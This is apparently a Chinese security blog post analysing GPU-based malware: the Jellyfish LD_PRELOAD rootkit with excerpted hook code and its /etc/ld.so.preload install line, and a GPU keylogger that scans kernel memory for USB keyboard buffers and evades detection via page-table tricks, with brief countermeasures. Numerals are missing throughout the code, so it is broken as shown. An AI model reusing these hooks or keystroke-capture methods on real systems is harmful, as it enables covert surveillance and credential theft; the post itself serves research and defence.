GPU keylogger && GPU Based rootkit(Jellyfish rootkit)
catalog
. OpenCL
. Linux DMA(Direct Memory Access)
. GPU rootkit PoC by Team Jellyfish
. GPU keylogger
. DMA Hack
1. OpenCL
OpenCL(Open Computing Language)是第一个面向异构系统通用目的并行编程的开放式、免费标准,也是一个统一的编程环境,便于软件开发人员为高性能计算服务器、桌面计算系统、手持设备编写高效轻便的代码,而且广泛适用于多核心处理器(CPU)、图形处理器(GPU)、Cell类型架构以及数字信号处理器(DSP)等其他并行处理器,在游戏、娱乐、科研、医疗等各种领域都有广阔的发展前景
0x1: OpenCL组成
. .0主要由一个并行计算API
. 一种针对此类计算的编程语言组成
. C99编程语言并行扩展子集
. 适于各种类型异构处理器的坐标数据和基于任务并行计算API
. 基于IEEE 754标准的数字条件
. 与OpenGL、OpenGL ES和其他图形类API高效互通
. OpenCL平台API
平台API定义了宿主机程序发现OpenCL设备所用的函数以及这些函数的功能,另外还定义了为 OpenCL应用创建上下文的函数 . OpenCL运行时API
这个API管理上下文来创建命令队列以及运行时发生的其他操作。例如,将命令提交到命令队列的函数就来自OpenCL运行时API。 . OpenCL编程语言
这是用来编写内核代码的编程语言。它基于ISO C99标准的一个扩展子集,因此通常称为OpenCL C编程语言
把上述单独的部分汇集起来,形成OpenCL的一个全景图
Relevant Link:
http://www.oschina.net/p/opencl/
http://baike.baidu.com/link?url=OakatzpraCPNh7EQR1QAbZMwbMXpe14IQqXAg62erf7WA3pKuUeh4AXvXOh6Gbsn3gi0qw0wS5TS-cS4ZGmE9_
http://blog.csdn.net/leonwei/article/details/8880012
2. Linux DMA(Direct Memory Access)
直接内存存取(DMA)是硬件机制允许外设组件来直接传输它们的I/O数据到和从主内存,而不需要包含系统处理器(CPU). 这种机制的使用能够很大提高吞吐量,因为大量的内存映射计算开销被削减了
0x1: DMA数据传输方式
. 软件请求数据(通过一个函数例如 read)
) 当一个进程A调用 read,驱动方法分配一个 DMA 缓冲并引导硬件来传输它的数据到那个缓冲,这个请求进程A被置为睡眠.
) 硬件写数据到这个 DMA 缓冲并且在它完成时引发一个中断
) 中断处理获得输入数据,确认中断,并且唤醒进程A,它现在可以读数据了. . 硬件异步推数据到系统
) 硬件引发一个中断来宣告新数据已经到达.
) 中断处理分配一个缓冲并且告知硬件在哪里传输数据.
) 外设写数据到缓冲并且引发另一个中断当完成时.
) 处理者分派新数据,唤醒任何相关的进程,并且负责杂务.
//异步方法的变体常常在网卡中见到. 这些卡常常期望见到一个在内存中和处理器共享的环形缓冲(常常被称为一个 DMA 的缓冲); 每个到来的报文被放置在环中下一个可用的缓冲, 并且发出一个中断. 驱动接着传递网络本文到内核其他部分并且在环中放置一个新 DMA 缓冲.
0x2: 一个简单的 PCI DMA 例子
作为一个 DMA 映射如何被使用的例子, 我们展示了一个简单的给一个 PCI 设备的 DMA 编码的例子. 在 PCI 总线上的数据的 DMA 操作的形式非常依赖被驱动的设备. 因此, 这个例子不适用于任何真实的设备; 相反, 它是一个称为 dad ( DMA Acquisiton Device) 的假想驱动的一部分. 一个给这个设备的驱动可能定义一个传送函数象这样
int dad_transfer(struct dad_dev *dev, int write, void *buffer, size_t count)
{
dma_addr_t bus_addr; /* Map the buffer for DMA */
dev->dma_dir = (write ? DMA_TO_DEVICE : DMA_FROM_DEVICE);
dev->dma_size = count;
bus_addr = dma_map_single(&dev->pci_dev->dev, buffer, count, dev->dma_dir);
dev->dma_addr = bus_addr; /* Set up the device */
writeb(dev->registers.command, DAD_CMD_DISABLEDMA);
writeb(dev->registers.command, write ? DAD_CMD_WR : DAD_CMD_RD);
writel(dev->registers.addr, cpu_to_le32(bus_addr));
writel(dev->registers.len, cpu_to_le32(count)); /* Start the operation */
writeb(dev->registers.command, DAD_CMD_ENABLEDMA);
return ;
}
Relevant Link:
http://www.linuxjournal.com/article/7104
http://www.xml.com/ldd/chapter/book/ch13.html
http://blog.csdn.net/crazyjiang/article/details/7934270
3. GPU rootkit PoC by Team Jellyfish
Jellyfish is a Linux based userland gpu rootkit proof of concept project utilizing the LD_PRELOAD technique from Jynx (CPU), as well as the OpenCL API developed by Khronos group (GPU). Code currently supports AMD and NVIDIA graphics cards. However, the AMDAPPSDK does support Intel as well.
GPU恶意软件的优点如下
. 目前网络上还没有分析GPU恶意软件的工具
. 可以通过DMA(直接内存存取)监听主机CPU内存
. GPU可以用于快速的数学计算
. 关闭之后恶意内存仍然存留于GPU内
这两款恶意软件的运行需要满足以下条件
. 安装了OpenCL驱动或ICDS
. Nvidia或AMD显卡(英特尔支持AMD SDK)
. 改变rootkit/kit.c文件中的第103行,将其中的服务器IP改成你想监视的GPU客户端所在机器的IP
Rootkit直接运行在GPU内存中,并将运行种结果暂存在GPU中,直到收到主控端发送的魔法字符
client listener; let buffers stay stored in gpu until you send magic packet from server
0x1: Code Analysis
代码使用了LD_PRELOAD技术,这是一种Glibc API劫持技术,通过设置LD_PRELOAD,rootkit程序可以在用户态劫持应用程序指定的标准C库调用
关于LD_PRELOAD劫持技术的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3854977.html
//搜索:0x1: LD_PRELOAD动态连接.so函数劫持
在劫持Hook Func代码中,程序调用了OpenCL相关的API,我们以execve api劫持为例学习
int execve(const char *filename, const char **argv, const char **envp)
{
jelly_init();
jelly->dev = create_device();
jelly->ctx = create_ctx(&jelly->dev);
jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYFISH__); strcpy(buffer, "executed filename: ");
strcat(buffer, filename); limit_buf(buffer);
log = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err);
output = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err); if(err < )
{
// buffer failed
}
// device command queue
jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, , &err);
if(err < )
{
// queue failed
} // gpu kernel thread
jelly->kernels[] = clCreateKernel(jelly->program, log_execve, &err);
if(err < )
{
// gpu kernel failed
}
// gpu kernel args
err = clSetKernelArg(jelly->kernels[], , sizeof(cl_mem), &log);
err |= clSetkernelArg(jelly->kernels[], , sizeof(cl_mem), &output);
if(err < )
{
// args failed
}
// host-device comm
err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[], , NULL, &global_size, &local_size, , NULL, NULL);
if(err < )
{
// enqueue failed
} // buffer is now inside gpu
/*
if(server == connected)
{
dump gpu data
free buffer
}
else
{
do not free buffer
continue
}
*/
// release gpu memory then start over when syscall is called again
clReleaseContext(jelly->ctx);
clReleaseProgram(jelly->program);
clReleaseMemObject(log);
clReleaseMemObject(output);
clReleaseCommandQueue(jelly->cq);
clReleaseKernel(jelly->kernels[]);
return syscall[SYS_EXECVE].syscall_func(filename, argv, envp);
}
void jelly_init()
void jelly_init()
{
int i;
for(i = ; i < SYSCALL_SIZE; i++)
{
jelly->dev = create_device();
jelly->ctx = create_ctx(&jelly->dev);
jelly->program = build_program(jelly->ctx, jelly->dev, __JELLYXOR__); strcpy(buffer, syscall_table[i]);
/* stick it in the xor blender! */
input = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer, &err);
local = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer2, &err);
group = clCreateBuffer(jelly->ctx, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, VRAM_LIMIT * sizeof(char), buffer3, &err);
if(err < )
{
// buffer failed
}
// device command queue
jelly->cq = clCreateCommandQueue(jelly->ctx, jelly->dev, , &err);
if(err < )
{
// queue failed
}
// gpu kernel thread
jelly->kernels[] = clCreateKernel(jelly->program, jelly_xor, &err);
if(err < )
{
// gpu kernel failed
}
// gpu kernel args
err = clSetKernelArg(jelly->kernels[], , sizeof(cl_mem), &input);
err |= clSetKernelArg(jelly->kernels[], , sizeof(cl_mem), &local);
err |= clSetKernelArg(jelly->kernels[], , sizeof(cl_mem), &group);
if(err < )
{
// args failed
}
// host-device comm
err = clEnqueueNDRangeKernel(jelly->cq, jelly->kernels[], , NULL, &global_xor_size, &local_xor_size, , NULL, NULL);
if(err < )
{
// enqueue failed
}
// read buf from gpu
err = clEnqueueReadBuffer(jelly->cq, output, CL_TRUE, , sizeof(buffer3), buffer3, , NULL, NULL);
if(err < )
{
// read buffer failed
}
else
{
// xor'ed syscall example directly from gpu
syscall[i].syscall_func = dlsym(RTLD_NEXT, buffer3);
buffer3 = "";
buffer2 = "";
buffer = "";
}
clReleaseContext(jelly->ctx);
clReleaseProgram(jelly->program);
clReleaseMemObject(input);
clReleaseMemObject(local);
clReleaseMemObject(group);
clReleaseCommandQueue(jelly->cq);
clReleaseKernel(jelly->kernels[]);
}
}
通过这种方式,rootkit代码可以运行在GPU内存中,以此达到较高的隐蔽性
0x2: Rootkit注入方式
. rootkit代码被编译为.so文件
. 设置LD_PRELOAD配置: echo $(INSTALL)/jellyfish.so > /etc/ld.so.preload
. 用户态的所有使用到glibc标准库的进程都会载入rootkit so,从而运行GPU内存态的rootkit程序
Relevant Link:
http://www.freebuf.com/news/66803.html
https://github.com/x0r1/jellyfish
4. GPU keylogger
0x1: proof of concept
The key idea behind our approach is to monitor the system’s keyboard buffer directly from the GPU via DMA, without any hooks or modifications in the kernel’s code and data structures besides the page table
GPU-based keylogger can effectively record all user keystrokes, store them in the memory space of the GPU, and even analyze the recorded data in-place, with negligible runtime overhead
0x2: INTRODUCTION
Keyloggers can be implemented as
. tiny hardware devices
. or more conveniently, in software
Software keyloggers can be implemented either at
) the user level: User-level keyloggers generally use high-level APIs to monitor keystrokes
) kernel level: kernel level keyloggers run inside the OS kernel and record all data originating from the keyboard.
Typically, a kernel level keylogger hooks specific system calls or driver functions. The injected malicious code is programmed to capture all user keystrokes passed through the hooked function call
Although kernel-level keyloggers are more sophisticated and stealthy than user-level keyloggers, they heavily rely on kernel code modifications, and thus can be detected by kernel integrity and code attestation tools
By instructing the GPU to carefully monitor via DMA the physical page where the keyboard buffer resides, a GPU-based keylogger can record all user keystrokes and store them in the memory space of the GPU
0x3: GPU-BASED KEYLOGGING
Instead of relying on rootkit-like techniques, such as hooking system functions and manipulating critical data structures, our keylogger monitors the contents of the system’s keyboard buffer directly from the GPU
. One of the primary challenges of this design is how to locate the memory address of the keyboard buffer
. the keyboard buffer is not exported in the kernel’s symbol table, making it not accessible directly by loadable modules
. the memory space allocated for data structures is different after every system boot or after unplugging and plugging back in the device. Typically, loadable modules
allocate memory dynamically, hence object addresses are not necessarily the same after a system reboot
. the OS can apply certain randomization algorithms to hinder an attacker that tries to predict an object’s address.
To overcome the randomized placement of the keyboard buffer, the attacker has to scan the whole memory. As a consequence, our GPU-based keystroke logger consists of
two main components:
) a CPU-based component that is executed once, at the bootstrap phase, with the task of locating the address of the keyboard buffer in main memory,
) a GPU-based component that monitors, via DMA, the keyboard buffer and records all keystroke events.
the picture below displays the bootstrapping (gray) and monitoring (black) components of the system, along with the sequence of their interactions.
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAUEAAADmCAIAAADEAqCEAAAgAElEQVR4nO2dXWwb153o50FAHgIUaAE9cNECtzDQB8MbINubh10YKAsDetgCDdqFgbgLO0UQ3MV1gQRBVkbzpAaLNNsUbdF0nVukCRKgQIKeGVIS9VGRkkyZkimKsixKHomyQomSSUoWKVv8UCR+aObchzNDzgzng6Qocob6/57s+TgccebH8/X/n6EwAABWhmr3BQAAcCrAYQCwNuAwAFgbcBgArA04DADWBhwGAGsDDgOAtQGHAcDagMMAYG1UHKbOJXV9awgA2gQ4rAc4DJifOhyu/YHuABpz+OyuBwCqAYf1AIcB8wMO6wEOA+YHHNYDHAbMDzisBzgMmB9wWA9wGDA/4LAe4DBgfsBhPcBhwPyAw3qAw4D5AYf1AIcB8wMO6wEOA+YHHNYDHAbMDzisBzgMmB9wWA9wGDA/4LAe4DBgfsBhPcBhwPyAw3qAw4D5aZPDWe/Y51dv2CgB242rn3u8W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F4LAh4LCVOIe3ABw2BBy2EufwFoDDhoDDVuIc3gJw2BBw2Eqcw1sADhtSt8NA2zn7p8JEIKA2qr86cNi8nL04JqLdaliG6q/ufD0oANB5gMMAYG3AYQCwNuAwAFgbcBgArA04DADWBhwGAGvz/wEHda0lAuXaDwAAAABJRU5ErkJggg==" alt="" />
0x4: Locating the Keyboard Buffer
In Linux, an attached USB device is represented by a USB Request Block (URB) structure, defined in the linux/usb.h header file of the Linux source tree.
\linux-2.6.32.63\include\linux\usb.h
struct urb
{
/* private: usb core and host controller only fields in the urb */
struct kref kref; /* reference count of the URB */
void *hcpriv; /* private data for host controller */
atomic_t use_count; /* concurrent submissions counter */
atomic_t reject; /* submissions will fail */
int unlinked; /* unlink error code */ /* public: documented fields in the urb that can be used by drivers */
struct list_head urb_list; /* list head for use by the urb's
* current owner */
struct list_head anchor_list; /* the URB may be anchored */
struct usb_anchor *anchor;
struct usb_device *dev; /* (in) pointer to associated device */
struct usb_host_endpoint *ep; /* (internal) pointer to endpoint */
unsigned int pipe; /* (in) pipe information */
int status; /* (return) non-ISO status */
unsigned int transfer_flags; /* (in) URB_SHORT_NOT_OK | ...*/
void *transfer_buffer; /* (in) associated data buffer */
dma_addr_t transfer_dma; /* (in) dma addr for transfer_buffer */
struct usb_sg_request *sg; /* (in) scatter gather buffer list */
int num_sgs; /* (in) number of entries in the sg list */
u32 transfer_buffer_length; /* (in) data buffer length */
u32 actual_length; /* (return) actual transfer length */
unsigned char *setup_packet; /* (in) setup packet (control only) */
dma_addr_t setup_dma; /* (in) dma addr for setup_packet */
int start_frame; /* (modify) start frame (ISO) */
int number_of_packets; /* (in) number of ISO packets */
int interval; /* (modify) transfer interval
* (INT/ISO) */
int error_count; /* (return) number of ISO errors */
void *context; /* (in) context for completion */
usb_complete_t complete; /* (in) completion routine */
struct usb_iso_packet_descriptor iso_frame_desc[];
/* (in) ISO ONLY */
};
For a USB keyboard device, in particular, the keyboard buffer is part of the URB structure, in the field transfer_buffer. Unfortunately, the memory offset where the URB structure is placed is different every time the system restarts.
To locate the exact offset of the keyboard buffer, we have to scan the whole memory sequentially. However, modern OSes, including Linux and Windows, do not allow users to accessphysical memory regions that have not been assigned to them. An access to a page that is not mapped to a process’ virtual address space is typically considered illegal, resulting in a segmentation fault.
To access the memory regions where the OS kernel and data structures reside, the memory scanning phase of the keylogger needs to run with administrative privileges
Linux offers the /dev/mem and /dev/kmem special files to allow a privileged user to access the physical memory and the kernel virtual memory, respectively.
For security reasons though, recent distributions disable them by default; access to the /dev/mem and /dev/kmem files is allowed only if the Linux kernel has been explicitly compiled without the option CONFIG_STRICT_DEVMEM=y
static int __init scan_start(void){
unsigned long long i; for(i = ; i < ULLONG_MAX; i += 0x10)
{
struct urb *urbp = (struct urb *)x(i);
if(((urbp->dev % 0x400) == ) && //we begin to search for pointers to USB device structures. Such pointers are memory-aligned to 0x400 boundaries
((urbp->transfer_dma % 0x20) == ) && //the corresponding transfer_dma fields are aligned to 0x20 boundaries
(urbp->transfer_buffer_length == ) && //the field transfer_buffer_length contains the appropriate length (8 bytes)
(urbp->transfer_buffer != NULL) &&
/*
the product field contains any of the substrings “usb” and “keyboard” (for wired USB keyboards),
or “usb” and receiver” (for wireless keyboard/mouse sets).
*/
strncmp(urbp->dev->product, "usb", ) &&
strncmp(urbp->dev->product, "keyboard", ))
{
// found possible keyboard buffer
char* kbuf = (char *) kmalloc(sizeof(urbp->transfer_buffer), GFP_KERNEL);
kbuf = urbp->transfer_buffer;
write_to_file(log, kbuf, sizeof(kbuf));
char* newline = "\n";
write_to_file(log, newline, sizeof(newline));
}
}
0x5: Capturing Keystrokes
. 键盘是USB外设的一种,Linux将键盘视为一种字符设备,每个USB外设都对应于内存中的一个struct urb实例
. 因为内存中的struct urb实例每次加载(键盘插拔)都会变动,因此借助/dev/mem、/dev/kmem内核接口文件,在超级用户权限下对物理内存进行遍历,找到"struct urb->transfer_buffer",即保存键盘击键缓存的内存地址
. 寻找键盘数据缓存内存地址采取了"特征匹配"的思路,即目标数据结构满足某些特征(内存地址对齐、字段值)
. NVIDIA CUDA devices和用户态GPU管理程序(host GPU controller process)共享一块内存,因此,如果要通过GPU读取键盘数据buffer,就需要将键盘数据buffer映射到用户态GPU管理程序(host GPU controller process)的虚拟内存空间中,这可以通过修改目标进程的页表来实现(需要借助LKM实现)
) 在初始化阶段,controller process调用mmap系统调用,申请了一大块内存
) 在完成键盘数据buffer的内核内存搜索之后,将mmap申请的这块内存重映射到键盘数据buffer所在的内存地址,这样,controller process(同时存在于GPU中的keylogger进程)就可以对键盘数据buffer进行监控,即GPU获取键盘buffer内存地址
) 在GPU对键盘buffer进行监控之后,controller process调用munmap,释放之前申请的内存,这样,controller process对键盘buffer的引用就会消失,以此来躲避基于"内存映射恶意映射检测"的入侵检测/杀软的检测
) 这里要理解的是,Rootkit这里通过修改进程的页表的唯一目的只是: 让GPU中的进程知道键盘buffer内存地址,获取地址后立即释放内存映射,之后的的内存读取全部通过DMA完成,不需要任何CPU交互
. Linux虚拟内存对物理内存提供了一层"保护视图",进程(即使是GPU中进程)不能任意读取整个物理内存,这对我们遍历扫描键盘缓存地址造成了困难,故采用DMA技术绕过这个限制
. GPU、GPU Memory就相当于另一套CPU、内存,只是大多数的入侵/恶意检测并不对GPU进行有效检测
. 全部工作完成后,GPU中的keylogger进程开始周期性(100ms)的对键盘buffer进行监控,捕获到的原始码被转化为ASCII字符,并临时保存在GPU内存中(显卡独有的内存)
. 在此之上,还可以利用GPU的并行计算能力,对捕获的击键数据进行实时分析处理,例如
) 提取关键字
) 正则匹配
0x6: COUNTERMEASURES(防御策略)
Current malware analysis and detection systems are tailored to CPU architectures only, and therefore are ineffective against GPU-based malware. Fortunately, however, malicious code that runs on a GPU can be identified in several ways. To properly identify GPU-based malware though, existing defenses need to be enhanced with new functionality for the analysis of GPU machine code
. GPU Code Analysis
NVIDIA recently released cuda-gdb and cuda-memcheck, two debugger tools for CUDA applications . Runtime Detection
A possible mechanism for the detection of GPU-assisted malware can be based on the observation of DMA side effects. DMA malware has DMA side effects that can be reliably measured.
加强对DMA访问的管控
Relevant Link:
http://www.cs.columbia.edu/~mikepo/papers/gpukeylogger.eurosec13.pdf
https://github.com/x0r1/Demon
5. DMA Hack
. 直接内存存取(DMA)是一种硬件机制,它允许外设组件来直接传输它们的 I/O 数据到和从主内存,而不需要包含系统处理器
. DMA是双向的,即数据流在外设和主内存之间双向流动
. 传统意义上说,内存的读写都要经过CPU的控制,到汇编这一层就是mov指令,但是DMA打破了这个规约
. 传统意义上说,CPU是计算机中唯一一个计算单元,但是GPU打破了这个规约
. 操作系统对输入输出的访问控制的"唯一路径"这个前提不再存在了,如果输入控制没做好,安全问题就就会伴随而来 . 使用DMA技术可以使用类似Linux .0实现的hotpatch技术
) 在外设(硬盘文件)中放置patchcode
) DMA可以让外设(硬盘文件)向主物理内存直接写入数据
) Hook DMA write function,使其写入目标地址重定向到Ring0需要Patch的内存地址
) 触发外设的DMA写入,让文件中的patchcode写入Ring0的指定地址
) 完成Hotpatch
Copyright (c) 2015 LittleHann All rights reserved
GPU keylogger && GPU Based rootkit(Jellyfish rootkit)的更多相关文章
- 『TensorFlow』分布式训练_其二_单机多GPU并行&GPU模式设定
建议比对『MXNet』第七弹_多GPU并行程序设计 一.tensorflow GPU设置 GPU指定占用 gpu_options = tf.GPUOptions(per_process_gpu_mem ...
- Linux Rootkit Sample && Rootkit Defenser Analysis
目录 . 引言 . LRK5 Rootkit . knark Rootkit . Suckit(super user control kit) . adore-ng . WNPS . Sample R ...
- [Attila GPU] ATTILA GPU Streamer Unit (D3D Input Assambler) 结构分析
http://www.opengpu.org/forum.php?mod=viewthread&tid=40&highlight=Attila 查看: 7488|回复: 26 [ ...
- GPUtil是一个Python模块,使用nvidia-smi从NVIDA GPU获取GPU状态
GPUtil是一个Python模块,使用nvidia-smi从NVIDA GPU获取GPU状态 一个Python模块,用于在Python中使用nvidia-smi以编程方式从NVIDA GPU获取GP ...
- Android studio GPU Monitor :GPU Profiling needs to be enabled in the device's developer options
Android studio GPU Monitor 在真机上不能使用,提示:GPU Profiling needs to be enabled in the device's developer o ...
- tensorflow中使用指定的GPU及GPU显存 CUDA_VISIBLE_DEVICES
参考: https://blog.csdn.net/jyli2_11/article/details/73331126 https://blog.csdn.net/cfarmerreally/arti ...
- (原)tensorflow中使用指定的GPU及GPU显存
转载请注明出处: http://www.cnblogs.com/darkknightzh/p/6591923.html 参考网址: http://stackoverflow.com/questions ...
- Unity Profiler GPU Usage(GPU使用情况)
一般情况下性能瓶颈都在CPU上,这儿也列举下几个常见的GPU耗时函数吧. 1 Render.Mesh 绘制网格面(没批处理的面) 2 Batch.DrawStatic 静态批处理 3 Batch.Dr ...
- tensorflow中使用指定的GPU及GPU显存
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 本文目录 1 终端执行程序时设置使用的GPU 2 python代码中设置使用的GPU 3 设置tensorflow使用的显 ...
随机推荐
- node基础02:第一个node程序
1.第一个web服务器 var http = require("http"); http.createServer(function(request, response){ res ...
- 前端见微知著番外篇:GIT舍我其谁?
在上一篇中,我们讲到了利用纯UI的软件如何实现代码的提交.但是在MAC机器上,是没有turtoiseGit这类软件的,所以利用命令行的方式就是我们的首选了. 下面我们来描述两种主要的Git使用场景: ...
- 二:【nopcommerce系列】Nop的文件结构,引用关系。如何编译打包部署等
如果,你还没先看第一篇,先看看 一:[nopcommerce系列]Nop整体架构的简单介绍,在看nop代码之前,你需要懂哪些东西 如果你确定你已经看完了第一篇,并且真的理解 mvc.和autofac, ...
- .Net分布式异常报警系统-服务端Service
服务端的2个Service 1. HandleService: 从Redis中获取异常信息, 入库并发送通知到相关责任人. 2. HealthyCheckService: 对站点指定页面进行模拟访问 ...
- sprintf_s的教训
sprintf_s 是个比sprintf更安全的函数,今天在使用的过程中犯了个错误,代码的大致意思如下 void Test_sprintf_s() { ]; memset(buff, , sizeof ...
- 使用 Eclipse 调试 Java 程序的技巧
你应该看过一些如<关于调试的N件事>这类很流行的帖子 .假设我每天花费1小时在调试我的应用程序上的话,那累积起来的话也是很大量的时间.由于这个原因,用这些时间来重视并了解所有使我们调试更方 ...
- .NET中的GDI+
GDI:Graphics Device Interface. System. Windows. Shapes 命名空间: 类 Ellipse 绘制一个椭圆. Line 在两个点之间绘制一条直线. Pa ...
- __getattribute__
class Foo: def __init__(self,x): self.x = x def __getattribute__(self, item): print('不管是否纯在,我都会执行') ...
- 理解MySQL数据库覆盖索引
话说有这么一个表: CREATE TABLE `user_group` ( `id` int(11) NOT NULL auto_increment, `uid` int(11) NOT NULL, ...
- 标题栏ToolBar
使用标题栏ToolBar 首先需要在AndroidManifest.xml中修改 application主题或者activity主题 隐藏原生标题栏 在styles.xml中自定义主题 a ...